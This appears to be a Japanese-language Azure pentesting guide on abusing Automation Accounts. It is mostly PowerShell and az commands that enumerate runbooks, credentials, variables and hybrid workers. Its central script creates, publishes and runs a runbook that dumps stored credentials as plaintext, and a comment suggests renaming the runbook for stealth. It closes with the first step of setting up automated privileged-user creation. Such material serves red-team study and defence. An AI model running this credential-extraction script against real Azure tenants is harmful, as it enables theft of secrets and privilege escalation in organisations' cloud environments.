Run as Accountが使用されると、自己署名証明書を持つAzure AD アプリケーションが作成され、サービスプリンシパルが作成され、現在のサブスクリプション内のアカウントにContributorロールが割り当てられます(多くの特権があります)。
Microsoftは、Automation AccountにManaged Identityを使用することを推奨しています。
# Check user right for automationaz extension add --upgrade -n automationaz automation account list # if it doesn't return anything the user is not a part of an Automation group# Gets Azure Automation accounts in a resource groupGet-AzAutomationAccount# List & get DSC configsGet-AzAutomationAccount|Get-AzAutomationDscConfigurationGet-AzAutomationAccount|Get-AzAutomationDscConfiguration|where {$_.name-match'<name>'} |Export-AzAutomationDscConfiguration-OutputFolder .-Debug## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)# List & get Run books codeGet-AzAutomationAccount|Get-AzAutomationRunbookGet-AzAutomationAccount|Get-AzAutomationRunbook|Export-AzAutomationRunbook-OutputFolder /tmp# List credentials & variables & othersGet-AzAutomationAccount|Get-AzAutomationCredentialGet-AzAutomationAccount|Get-AzAutomationVariableGet-AzAutomationAccount|Get-AzAutomationConnectionGet-AzAutomationAccount|Get-AzAutomationCertificateGet-AzAutomationAccount|Get-AzAutomationScheduleGet-AzAutomationAccount|Get-AzAutomationModuleGet-AzAutomationAccount|Get-AzAutomationPython3Package## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them# List hybrid workersGet-AzAutomationHybridWorkerGroup-AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>
Runbookの作成
# Get the role of a user on the Automation account# Contributor or higher = Can create and execute RunbooksGet-AzRoleAssignment-Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT># Create a Powershell RunbookImport-AzAutomationRunbook-Name <RUNBOOK-NAME>-Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>-Type PowerShell -Force -Verbose# Publish the RunbookPublish-AzAutomationRunbook-RunbookName <RUNBOOK-NAME>-AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>-Verbose# Start the RunbookStart-AzAutomationRunbook-RunbookName <RUNBOOK-NAME>-RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>-Verbose
自動化アカウントで定義されたクレデンシャルと変数をランブックを使用して抽出する
# Change the crdentials & variables names and add as many as you need@'$creds = Get-AutomationPSCredential -Name <credentials_name>$runbook_variable = Get-AutomationVariable -name <variable_name>$runbook_variable$creds.GetNetworkCredential().username$creds.GetNetworkCredential().password'@|out-file-encoding ascii 'runbook_get_creds.ps1'$ResourceGroupName ='<resource_group_name>'$AutomationAccountName ='<auto_acc_name>'$RunBookName ='Exif-Credentials'#Change this for stealthness# Creare Run book, publish, start, and get outputNew-AzAutomationRunBook-name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShellImport-AzAutomationRunBook-Path 'runbook_get_creds.ps1'-Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -ForcePublish-AzAutomationRunBook-Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName$start =Start-AzAutomationRunBook-Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupNamestart-sleep20($start |Get-AzAutomationJob|Get-AzAutomationJobOutput).Summarynt
既存のRun Bookを修正することで、ウェブコンソールから同じことを行うことができます。
自動化された特権ユーザー作成の設定手順
1. 自動化アカウントの初期化
必要なアクション: 新しい自動化アカウントを作成します。
特定の設定: 「Azure Run As アカウントを作成する」が有効になっていることを確認します。